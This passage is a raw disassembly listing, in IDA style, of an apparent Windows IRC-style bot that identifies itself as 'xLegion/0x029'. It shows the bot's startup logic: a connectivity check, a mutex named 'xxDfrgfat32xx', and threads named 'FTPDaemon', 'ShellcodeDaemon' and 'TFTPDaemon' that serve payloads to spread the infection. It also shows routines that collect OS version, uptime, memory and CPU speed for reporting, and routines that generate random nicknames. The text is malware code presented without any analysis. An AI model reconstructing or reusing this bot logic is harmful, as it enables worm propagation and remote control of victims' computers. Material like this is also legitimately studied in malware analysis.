[esp+190h+var_190] push eax push 2 call dword_4011FC ; WSAStartup neg eax sbb al, al inc al add esp, 190h retn sub_409002 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409022 proc near ; CODE XREF: sub_408C39+B9p ; sub_409022+199p var_20C = byte ptr -20Ch var_3C = word ptr -3Ch var_34 = byte ptr -34h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_104 = byte ptr 10Ch arg_208 = byte ptr 210h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_404320 push offset sub_409A50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 2Ch push ebx push esi push edi mov [ebp+var_18], esp loc_409048: ; CODE XREF: sub_409022+3Aj call sub_409237 test al, al jnz short loc_40905E push 3E8h call dword_40107C ; Sleep jmp short loc_409048 ; --------------------------------------------------------------------------- loc_40905E: ; CODE XREF: sub_409022+2Dj call sub_409002 test al, al jz short loc_40907F call sub_40924C test al, al jz short loc_40907F push offset aXxdfrgfat32xx ; "xxDfrgfat32xx" call sub_408939 pop ecx test al, al jz short loc_4090B5 loc_40907F: ; CODE XREF: sub_409022+43j ; sub_409022+4Cj xor ebx, ebx cmp [ebp+arg_208], bl jnz short loc_4090A7 lea eax, [ebp+arg_0] push eax lea eax, [ebp+arg_104] push eax call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4090A7 push 1 call dword_401084 ; ExitProcess loc_4090A7: ; CODE XREF: sub_409022+65j ; sub_409022+7Bj push ebx lea eax, [ebp+arg_0] push eax call sub_408D7F pop ecx pop ecx jmp short loc_4090B7 ; --------------------------------------------------------------------------- loc_4090B5: ; CODE XREF: sub_409022+5Bj xor ebx, ebx loc_4090B7: ; CODE XREF: sub_409022+91j call sub_404E76 test al, al jz short loc_40912C push 0FFFFh mov esi, 400h push esi call sub_409957 mov ds:word_409ED2, ax mov [ebp+var_3C], ax call sub_409AC6 ; rand cdq mov ecx, 0FBFFh idiv ecx add edx, esi mov ds:word_409D50, dx push offset aFtpdaemon ; "FTPDaemon" push 1 push ebx push offset loc_407F8F call sub_40960A push offset aShellcodedaemo ; "ShellcodeDaemon" push 1 lea eax, [ebp+var_3C] push eax push offset loc_407AC7 call sub_40960A push offset aTftpdaemon ; "TFTPDaemon" push 1 push ebx push offset loc_407BD0 call sub_40960A add esp, 38h loc_40912C: ; CODE XREF: sub_409022+9Cj mov [ebp+var_4], ebx loc_40912F: ; CODE XREF: sub_409022+132j push ebx push ebx push ebx lea eax, [ebp+var_34] push eax call dword_40116C ; GetMessageA test eax, eax jz short loc_40915D lea eax, [ebp+var_34] push eax call dword_401164 ; TranslateMessage lea eax, [ebp+var_34] push eax call dword_401168 ; DispatchMessageA jmp short loc_40912F ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_40915D: ; CODE XREF: sub_409022+11Cj or [ebp+var_4], 0FFFFFFFFh call dword_40119C ; WSACleanup push 1 call dword_401084 ; ExitProcess loc_40916F: ; CODE XREF: text:0040C778j push ebp mov ebp, esp sub esp, 20Ch push esi push edi push 2 call dword_40104C ; SetErrorMode call dword_401080 ; GetTickCount push eax call sub_409B0E ; srand and ds:byte_409F0C, 0 lea eax, [ebp+var_20C] push eax mov byte ptr [ebp+var_4], 1 call sub_408FA5 sub esp, 204h mov ecx, 82h lea esi, [ebp+var_20C] mov edi, esp rep movsd movsb call sub_409022 add esp, 20Ch pop edi pop esi leave retn sub_409022 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091CA proc near ; CODE XREF: sub_404D6D+16p ; sub_404D6D+43p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 80h cmp [ebp+arg_0], 0 jnz short loc_4091E0 push offset byte_409CF0 jmp short loc_4091E3 ; --------------------------------------------------------------------------- loc_4091E0: ; CODE XREF: sub_4091CA+Dj push [ebp+arg_0] loc_4091E3: ; CODE XREF: sub_4091CA+14j lea eax, [ebp+var_80] push eax call sub_409AAE ; strcpy pop ecx lea eax, [ebp+var_80] pop ecx push eax call dword_401200 ; gethostbyname test eax, eax jz short loc_40920B mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4011D0 ; inet_ntoa leave retn ; --------------------------------------------------------------------------- loc_40920B: ; CODE XREF: sub_4091CA+30j lea eax, [ebp+var_80] push eax call dword_401198 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_409233 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_4011E4 ; gethostbyaddr test eax, eax jz short loc_409233 mov eax, [eax] leave retn ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: sub_4091CA+51j ; sub_4091CA+63j xor eax, eax leave retn sub_4091CA endp ; =============== S U B R O U T I N E ======================================= sub_409237 proc near ; CODE XREF: sub_409022:loc_409048p var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_401188 ; InternetGetConnectedState test eax, eax setnz al pop ecx retn sub_409237 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40924C proc near ; CODE XREF: sub_409022+45p var_100 = byte ptr -100h push ebp mov ebp, esp sub esp, 100h and ds:dword_409ECC, 0 lea eax, [ebp+var_100] push 100h push eax call dword_401204 ; gethostname cmp eax, 0FFFFFFFFh jz short loc_4092E9 lea eax, [ebp+var_100] push eax call dword_401200 ; gethostbyname test eax, eax jz short loc_4092E9 push esi mov esi, [eax+0Ch] loc_409288: ; CODE XREF: sub_40924C+96j mov eax, [esi] test eax, eax jz short loc_4092E4 movzx ecx, byte ptr [eax+3] push ecx movzx ecx, byte ptr [eax+2] push ecx movzx ecx, byte ptr [eax+1] movzx eax, byte ptr [eax] push ecx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea eax, [ebp+var_100] push 10h push eax call sub_409A26 ; _snprintf add esp, 1Ch lea eax, [ebp+var_100] push eax call dword_401198 ; inet_addr mov ds:dword_409ECC, eax lea eax, [ebp+var_100] push 10h push eax push offset dword_409ED4 call sub_409A32 ; strncpy add esp, 0Ch add esi, 4 jmp short loc_409288 ; --------------------------------------------------------------------------- loc_4092E4: ; CODE XREF: sub_40924C+40j mov al, 1 pop esi leave retn ; --------------------------------------------------------------------------- loc_4092E9: ; CODE XREF: sub_40924C+25j ; sub_40924C+36j xor al, al leave retn sub_40924C endp ; =============== S U B R O U T I N E ======================================= sub_4092ED proc near ; CODE XREF: code:004053A9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] dec eax dec eax jz short loc_4092F9 dec eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_4092F9: ; CODE XREF: sub_4092ED+6j push 3 push 1388h push [esp+8+arg_0] call sub_4073B4 add esp, 0Ch neg al sbb eax, eax and eax, 3 retn sub_4092ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409314 proc near ; CODE XREF: sub_40959B+3Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor esi, esi loc_40931E: ; CODE XREF: sub_409314+3Cj ; sub_409314+46j rdtsc push 3E8h mov edi, edx mov ebx, eax call dword_40107C ; Sleep rdtsc sub eax, ebx push esi sbb edx, edi push 186A0h push edx push eax call sub_409BA0 push esi push 0Ah push edx push eax call sub_409BA0 cmp edx, esi mov edi, eax ja short loc_40931E jb short loc_40935C cmp edi, 0F4240h ja short loc_40931E loc_40935C: ; CODE XREF: sub_409314+3Ej push esi push 64h push edx push edi call sub_409B20 push 64h mov ecx, eax cmp edx, esi pop eax mov [ebp+var_4], esi ja short loc_4093D3 jb short loc_409379 cmp ecx, 50h jnb short loc_40937F loc_409379: ; CODE XREF: sub_409314+5Ej push 4Bh mov [ebp+var_4], esi pop eax loc_40937F: ; CODE XREF: sub_409314+63j cmp edx, esi ja short loc_4093D3 jb short loc_40938A cmp ecx, 47h jnb short loc_409390 loc_40938A: ; CODE XREF: sub_409314+6Fj push 42h mov [ebp+var_4], esi pop eax loc_409390: ; CODE XREF: sub_409314+74j cmp edx, esi ja short loc_4093D3 jb short loc_40939B cmp ecx, 37h jnb short loc_4093A1 loc_40939B: ; CODE XREF: sub_409314+80j push 32h mov [ebp+var_4], esi pop eax loc_4093A1: ; CODE XREF: sub_409314+85j cmp edx, esi ja short loc_4093D3 jb short loc_4093AC cmp ecx, 26h jnb short loc_4093B2 loc_4093AC: ; CODE XREF: sub_409314+91j push 21h mov [ebp+var_4], esi pop eax loc_4093B2: ; CODE XREF: sub_409314+96j cmp edx, esi ja short loc_4093D3 jb short loc_4093BD cmp ecx, 1Eh jnb short loc_4093C3 loc_4093BD: ; CODE XREF: sub_409314+A2j push 19h mov [ebp+var_4], esi pop eax loc_4093C3: ; CODE XREF: sub_409314+A7j cmp edx, esi ja short loc_4093D3 jb short loc_4093CE cmp ecx, 0Ah jnb short loc_4093D3 loc_4093CE: ; CODE XREF: sub_409314+B3j xor eax, eax mov [ebp+var_4], esi loc_4093D3: ; CODE XREF: sub_409314+5Cj ; sub_409314+6Dj ... sub eax, ecx add eax, edi pop edi pop esi pop ebx leave retn sub_409314 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4093DC proc near ; CODE XREF: sub_404360+B0p ; sub_40959B+47p var_2C = qword ptr -2Ch var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_401044 ; QueryPerformanceCounter lea eax, [ebp+var_8] push eax call dword_401048 ; QueryPerformanceFrequency xor eax, eax cmp [ebp+var_C], eax jl short loc_409440 jg short loc_409407 cmp [ebp+var_10], eax jbe short loc_409440 loc_409407: ; CODE XREF: sub_4093DC+24j cmp [ebp+var_4], eax jl short loc_409440 jg short loc_409413 cmp [ebp+var_8], eax jbe short loc_409440 loc_409413: ; CODE XREF: sub_4093DC+30j push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_409C10 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+2Ch+var_2C] call sub_409C08 ; ceil pop ecx pop ecx call sub_409A90 ; _ftol jmp short loc_40944F ; --------------------------------------------------------------------------- loc_409440: ; CODE XREF: sub_4093DC+22j ; sub_4093DC+29j ... call dword_401080 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx loc_40944F: ; CODE XREF: sub_4093DC+62j mov ecx, 15180h xor edx, edx mov edi, ecx mov esi, eax div edi xor edx, edx push 3Ch mov edi, eax mov eax, esi div ecx mov ecx, 0E10h mov ebx, ecx mov eax, edx xor edx, edx div ebx xor edx, edx mov ebx, eax mov eax, esi div ecx pop ecx mov esi, offset aDays ; "days" mov eax, edx xor edx, edx div ecx cmp edi, 1 jnz short loc_409491 mov esi, offset aDay ; "day" loc_409491: ; CODE XREF: sub_4093DC+AEj cmp ebx, 1 mov edx, offset aHours ; "hours" jnz short loc_4094A0 mov edx, offset aHour ; "hour" loc_4094A0: ; CODE XREF: sub_4093DC+BDj cmp eax, 1 mov ecx, offset aMinutes ; "minutes" jnz short loc_4094AF mov ecx, offset aMinute ; "minute" loc_4094AF: ; CODE XREF: sub_4093DC+CCj push ecx push eax push edx push ebx push esi push edi push offset dword_40418C mov esi, offset dword_409FA8 push 104h push esi call sub_409A26 ; _snprintf add esp, 24h mov eax, esi pop edi pop esi pop ebx leave retn sub_4093DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4094D4 proc near ; CODE XREF: sub_404360+CBp ; sub_40959B+41p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98h lea eax, [ebp+var_98] mov [ebp+var_98], 94h push eax call dword_401040 ; GetVersionExA cmp [ebp+var_94], 4 mov ecx, [ebp+var_90] jnz short loc_409540 test ecx, ecx jnz short loc_409528 cmp [ebp+var_88], 1 mov eax, offset a95 ; "95" jz short loc_409518 mov eax, [ebp+var_4] loc_409518: ; CODE XREF: sub_4094D4+3Fj cmp [ebp+var_88], 2 jnz short loc_40956F mov eax, offset aNt ; "NT" jmp short loc_40956F ; --------------------------------------------------------------------------- loc_409528: ; CODE XREF: sub_4094D4+31j cmp ecx, 0Ah jnz short loc_409534 mov eax, offset a98 ; "98" jmp short loc_40956F ; --------------------------------------------------------------------------- loc_409534: ; CODE XREF: sub_4094D4+57j cmp ecx, 5Ah jnz short loc_40956A mov eax, offset aMe ; "ME" jmp short loc_40956F ; --------------------------------------------------------------------------- loc_409540: ; CODE XREF: sub_4094D4+2Dj cmp [ebp+var_94], 5 jnz short loc_40956A test ecx, ecx jnz short loc_409554 mov eax, offset a2000 ; "2000" jmp short loc_40956F ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_4094D4+77j cmp ecx, 1 jnz short loc_409560 mov eax, offset aXp ; "XP" jmp short loc_40956F ; --------------------------------------------------------------------------- loc_409560: ; CODE XREF: sub_4094D4+83j cmp ecx, 2 mov eax, offset a2003 ; "2003" jz short loc_40956F loc_40956A: ; CODE XREF: sub_4094D4+63j ; sub_4094D4+73j mov eax, offset a??? ; "???" loc_40956F: ; CODE XREF: sub_4094D4+4Bj ; sub_4094D4+52j ... push esi mov esi, offset dword_409F1C push [ebp+var_8C] push ecx push [ebp+var_94] push eax push offset dword_4041DC push 8Ch push esi call sub_409A26 ; _snprintf add esp, 1Ch mov eax, esi pop esi leave retn sub_4094D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40959B proc near ; CODE XREF: sub_404360+113p var_20 = byte ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h push ebp mov ebp, esp sub esp, 20h push esi push 20h lea eax, [ebp+var_20] push 0 push eax call sub_409AB4 ; memset add esp, 0Ch lea eax, [ebp+var_20] push eax call dword_40103C ; GlobalMemoryStatus mov eax, [ebp+var_18] mov ecx, 0FF800h xor edx, edx mov esi, ecx div esi xor edx, edx push eax mov eax, [ebp+var_18] sub eax, [ebp+var_14] div ecx push eax call sub_409314 push eax call sub_4094D4 push eax call sub_4093DC push eax push offset aXlegion0x029 ; "xLegion/0x029" push offset dword_404228 mov esi, offset dword_40A0AC push 80h push esi call sub_409A26 ; _snprintf add esp, 24h mov eax, esi pop esi leave retn sub_40959B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40960A proc near ; CODE XREF: sub_404360+614p ; sub_404D6D+90p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_404330 push offset sub_409A50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp push 1 pop edi mov [ebp+var_20], edi xor ebx, ebx loc_409638: ; CODE XREF: sub_40960A+10Bj cmp edi, 0Fh jge loc_4096F8 lea esi, [edi+edi*2] shl esi, 3 cmp ds:dword_409D60[esi], ebx jnz loc_409711 mov [ebp+var_4], ebx push 4 push ebx call sub_409A96 ; realloc pop ecx pop ecx mov ds:dword_409D64[esi], eax lea eax, [ebp+var_1C] push eax push ebx push [ebp+arg_4] push [ebp+arg_0] push ebx push ebx call dword_4010B8 ; CreateThread mov ds:dword_409D64[esi], eax mov esi, [ebp+arg_8] cmp esi, 3 jz short loc_4096B8 cmp esi, ebx jnz short loc_40968F push 0FFFFFFF1h jmp short loc_4096B1 ; --------------------------------------------------------------------------- loc_40968F: ; CODE XREF: sub_40960A+7Fj cmp esi, 1 jnz short loc_409698 push 0FFFFFFFEh jmp short loc_4096B1 ; --------------------------------------------------------------------------- loc_409698: ; CODE XREF: sub_40960A+88j cmp esi, 2 jnz short loc_4096A1 push 0FFFFFFFFh jmp short loc_4096B1 ; --------------------------------------------------------------------------- loc_4096A1: ; CODE XREF: sub_40960A+91j cmp esi, 4 jnz short loc_4096AA push 1 jmp short loc_4096B1 ; --------------------------------------------------------------------------- loc_4096AA: ; CODE XREF: sub_40960A+9Aj cmp esi, 5 jnz short loc_4096B8 push 2 loc_4096B1: ; CODE XREF: sub_40960A+83j ; sub_40960A+8Cj ... push eax call dword_401038 ; SetThreadPriority loc_4096B8: ; CODE XREF: sub_40960A+7Bj ; sub_40960A+A3j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4096D1 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor ebx, ebx mov esi, [ebp+arg_8] mov edi, [ebp+var_20] loc_4096D1: ; CODE XREF: sub_40960A+B2j lea eax, [edi+edi*2] shl eax, 3 cmp ds:dword_409D64[eax], ebx jnz short loc_4096E3 xor eax, eax jmp short loc_409702 ; --------------------------------------------------------------------------- loc_4096E3: ; CODE XREF: sub_40960A+D3j mov ecx, [ebp+arg_C] mov ds:dword_409D60[eax], ecx mov ds:dword_409D70[eax], edi mov ds:dword_409D74[eax], esi loc_4096F8: ; CODE XREF: sub_40960A+31j lea eax, [edi+edi*2] mov eax, ds:dword_409D64[eax*8] loc_409702: ; CODE XREF: sub_40960A+D7j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_40960A+43j inc edi mov [ebp+var_20], edi jmp loc_409638 sub_40960A endp ; =============== S U B R O U T I N E ======================================= sub_40971A proc near ; CODE XREF: sub_404360+69Cp ; code:0040757Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jle short locret_409782 cmp eax, 0Fh jge short locret_409782 push ebx push esi lea esi, [eax+eax*2] push edi shl esi, 3 push ds:dword_409D68[esi] lea edi, dword_409D68[esi] call sub_40867A xor ebx, ebx mov [edi], ebx push ds:dword_409D6C[esi] lea edi, dword_409D6C[esi] call sub_40867A pop ecx mov [edi], ebx mov ds:dword_409D60[esi], ebx lea eax, dword_409D64[esi] pop ecx mov ds:dword_409D74[esi], ebx mov ds:dword_409D70[esi], ebx mov ecx, [eax] push ebx push ecx mov [eax], ebx call dword_401090 ; TerminateThread pop edi pop esi pop ebx locret_409782: ; CODE XREF: sub_40971A+7j ; sub_40971A+Cj retn sub_40971A endp ; =============== S U B R O U T I N E ======================================= sub_409783 proc near ; CODE XREF: sub_404360+3BCp ; sub_404360+634p ... arg_0 = dword ptr 4 push ebx push esi push edi push 1 xor ebx, ebx pop edi mov esi, offset dword_409D78 loc_409790: ; CODE XREF: sub_409783+2Dj mov eax, [esi] test eax, eax jz short loc_4097BE push [esp+0Ch+arg_0] push eax call sub_409A3E ; _stricmp pop ecx test eax, eax pop ecx jz short loc_4097B4 add esi, 18h inc edi cmp esi, offset byte_409EC8 jl short loc_409790 jmp short loc_4097BE ; --------------------------------------------------------------------------- loc_4097B4: ; CODE XREF: sub_409783+21j lea eax, [edi+edi*2] mov ebx, ds:dword_409D70[eax*8] loc_4097BE: ; CODE XREF: sub_409783+11j ; sub_409783+2Fj pop edi mov eax, ebx pop esi pop ebx retn sub_409783 endp ; =============== S U B R O U T I N E ======================================= sub_4097C4 proc near ; CODE XREF: sub_408EAE+6Ap arg_0 = dword ptr 4 push offset dword_404288 push [esp+4+arg_0] call sub_409ADE ; fopen pop ecx test eax, eax pop ecx jnz short loc_4097DB xor al, al retn ; --------------------------------------------------------------------------- loc_4097DB: ; CODE XREF: sub_4097C4+12j push eax call sub_409AD2 ; fclose pop ecx mov al, 1 retn sub_4097C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097E5 proc near ; CODE XREF: sub_4098BE+85p var_34 = byte ptr -34h var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 8 call sub_409A9C ; malloc push 8 push 0 push eax mov [ebp+var_C], eax call sub_409AB4 ; memset add esp, 10h call sub_409AC6 ; rand push 1Ah mov esi, offset a0123456789abcd ; "0123456789abcdefghijklmnopqrstuvwxyz" cdq pop ecx lea edi, [ebp+var_34] idiv ecx push 9 pop ecx rep movsd movsb mov ebx, edx add bl, 61h call sub_409AC6 ; rand push 24h pop esi cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_34] mov [ebp+var_5], al call sub_409AC6 ; rand cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_34] mov [ebp+var_4], al call sub_409AC6 ; rand cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_34] mov [ebp+var_3], al call sub_409AC6 ; rand cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_34] mov [ebp+var_2], al call sub_409AC6 ; rand cdq mov ecx, esi idiv ecx mov al, [ebp+edx+var_34] mov [ebp+var_1], al call sub_409AC6 ; rand cdq idiv esi movsx eax, [ebp+edx+var_34] push eax movsx eax, [ebp+var_1] push eax movsx eax, [ebp+var_2] push eax movsx eax, [ebp+var_3] push eax movsx eax, [ebp+var_4] push eax movsx eax, [ebp+var_5] push eax movsx eax, bl push eax push offset aCCCCCCC ; "%c%c%c%c%c%c%c" push [ebp+var_C] call sub_409AC0 ; sprintf mov eax, [ebp+var_C] add esp, 24h pop edi pop esi pop ebx leave retn sub_4097E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098BE proc near ; CODE XREF: sub_404E76+2Cp ; code:00405345p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_404340 push offset sub_409A50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov edi, [ebp+arg_0] lea esi, [edi+1] push esi call sub_409A9C ; malloc mov ebx, eax mov [ebp+var_1C], ebx push esi push 0 push ebx call sub_409AB4 ; memset add esp, 10h and [ebp+var_24], 0 loc_409909: ; CODE XREF: sub_4098BE+70j cmp [ebp+var_24], edi jge short loc_409930 call sub_409AC6 ; rand cdq push 1Ah pop ecx idiv ecx add edx, 61h mov [ebp+var_20], edx lea eax, [ebp+var_20] push eax push ebx call sub_409B14 ; strcat pop ecx pop ecx inc [ebp+var_24] jmp short loc_409909 ; --------------------------------------------------------------------------- loc_409930: ; CODE XREF: sub_4098BE+4Ej or [ebp+var_4], 0FFFFFFFFh mov eax, ebx jmp short loc_409948 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh call sub_4097E5 loc_409948: ; CODE XREF: sub_4098BE+78j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4098BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409957 proc near ; CODE XREF: sub_404360+3DFp ; sub_404E76+26p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call dword_401080 ; GetTickCount push eax call sub_409B0E ; srand pop ecx call sub_409AC6 ; rand mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi inc eax mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_404350 call sub_409A90 ; _ftol sub esi, eax mov eax, esi pop esi leave retn sub_409957 endp ; =============== S U B R O U T I N E ======================================= sub_409995 proc near ; CODE XREF: sub_40785C:loc_4078E3p push esi call sub_409AC6 ; rand mov esi, eax shl esi, 10h call sub_409AC6 ; rand add eax, esi pop esi retn sub_409995 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4099A9 proc near ; CODE XREF: sub_40785C+C4p jmp sub_409AC6 sub_4099A9 endp ; =============== S U B R O U T I N E ======================================= sub_4099AE proc near ; CODE XREF: code:004051FFp ; code:004052B5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push edi loc_4099B8: ; CODE XREF: sub_4099AE+1Bj ; sub_4099AE+44j mov al, [esi] test al, al jnz short loc_4099CB mov al, [ecx] test al, al jz short loc_4099F4 cmp al, 2Ah jnz short loc_409A14 inc ecx jmp short loc_4099B8 ; --------------------------------------------------------------------------- loc_4099CB: ; CODE XREF: sub_4099AE+Ej mov dl, [ecx] test dl, dl jz short loc_409A14 cmp al, dl jz short loc_4099F0 cmp al, 41h jl short loc_4099DD cmp al, 5Ah jle short loc_4099E5 loc_4099DD: ; CODE XREF: sub_4099AE+29j cmp al, 61h jl short loc_4099EB cmp al, 7Ah jg short loc_4099EB loc_4099E5: ; CODE XREF: sub_4099AE+2Dj xor al, 20h cmp al, dl jz short loc_4099F0 loc_4099EB: ; CODE XREF: sub_4099AE+31j ; sub_4099AE+35j cmp dl, 3Fh jnz short loc_4099F8 loc_4099F0: ; CODE XREF: sub_4099AE+25j ; sub_4099AE+3Bj inc ecx inc esi jmp short loc_4099B8 ; --------------------------------------------------------------------------- loc_4099F4: ; CODE XREF: sub_4099AE+14j ; sub_4099AE+5Dj mov al, 1 jmp short loc_409A16 ; --------------------------------------------------------------------------- loc_4099F8: ; CODE XREF: sub_4099AE+40j cmp byte ptr [ecx], 2Ah jnz short loc_409A14 lea edi, [ecx+1] loc_409A00: ; CODE XREF: sub_4099AE+64j push edi push esi call sub_4099AE pop ecx test al, al pop ecx jnz short loc_4099F4 cmp [esi], al jz short loc_409A14 inc esi jmp short loc_409A00 ; --------------------------------------------------------------------------- loc_409A14: ; CODE XREF: sub_4099AE+18j ; sub_4099AE+21j ... xor al, al loc_409A16: ; CODE XREF: sub_4099AE+48j pop edi pop esi retn sub_4099AE endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A1A proc near ; CODE XREF: sub_404360+74Bp ; sub_404360+77Fp jmp dword_401104 sub_409A1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A20 proc near ; CODE XREF: sub_404360+516p ; sub_404C8D+B9p ... jmp dword_401140 sub_409A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A26 proc near ; CODE XREF: sub_404360+501p ; sub_404360+6FDp ... jmp dword_40113C sub_409A26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A2C proc near ; CODE XREF: sub_404360+4D2p ; sub_404360+4DBp ... jmp dword_401138 sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A32 proc near ; CODE XREF: sub_404360+4B4p ; code:00404F2Fp ... jmp dword_401134 sub_409A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A38 proc near ; CODE XREF: sub_404360+423p ; sub_404360+552p ... jmp dword_401130 sub_409A38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A3E proc near ; CODE XREF: sub_404360+7Bp ; sub_404360+A5p ... jmp dword_40112C sub_409A3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A44 proc near ; CODE XREF: sub_404360+3Ap ; sub_404360+59p ... jmp dword_401128 sub_409A44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A50 proc near ; DATA XREF: sub_404360+Ao ; sub_404C8D+Ao ... jmp dword_401124 sub_409A50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409A60 proc near ; CODE XREF: sub_404360+494p ; code:00404F0Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_409A80 loc_409A6C: ; CODE XREF: sub_409A60+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_409A6C loc_409A80: ; CODE XREF: sub_409A60+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_409A60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A90 proc near ; CODE XREF: sub_404360+2EDp ; sub_404360+2F3p ... jmp dword_401120 sub_409A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A96 proc near ; CODE XREF: sub_40960A+4Fp jmp dword_40111C sub_409A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409A9C proc near ; CODE XREF: sub_4063B3+Ap ; sub_4063ED+12p ... jmp dword_401118 sub_409A9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AA2 proc near ; CODE XREF: sub_404C8D+8Dp ; sub_404D6D+A8p ... jmp dword_401114 sub_409AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AA8 proc near ; CODE XREF: sub_404C8D+45p jmp dword_401110 sub_409AA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_409AAE proc near ; CODE XREF: code:00405248p ; code:004079C8p ... jmp dword_401108 sub_409AAE endp ; =============== S U B R O U T I N E ======================================= ; 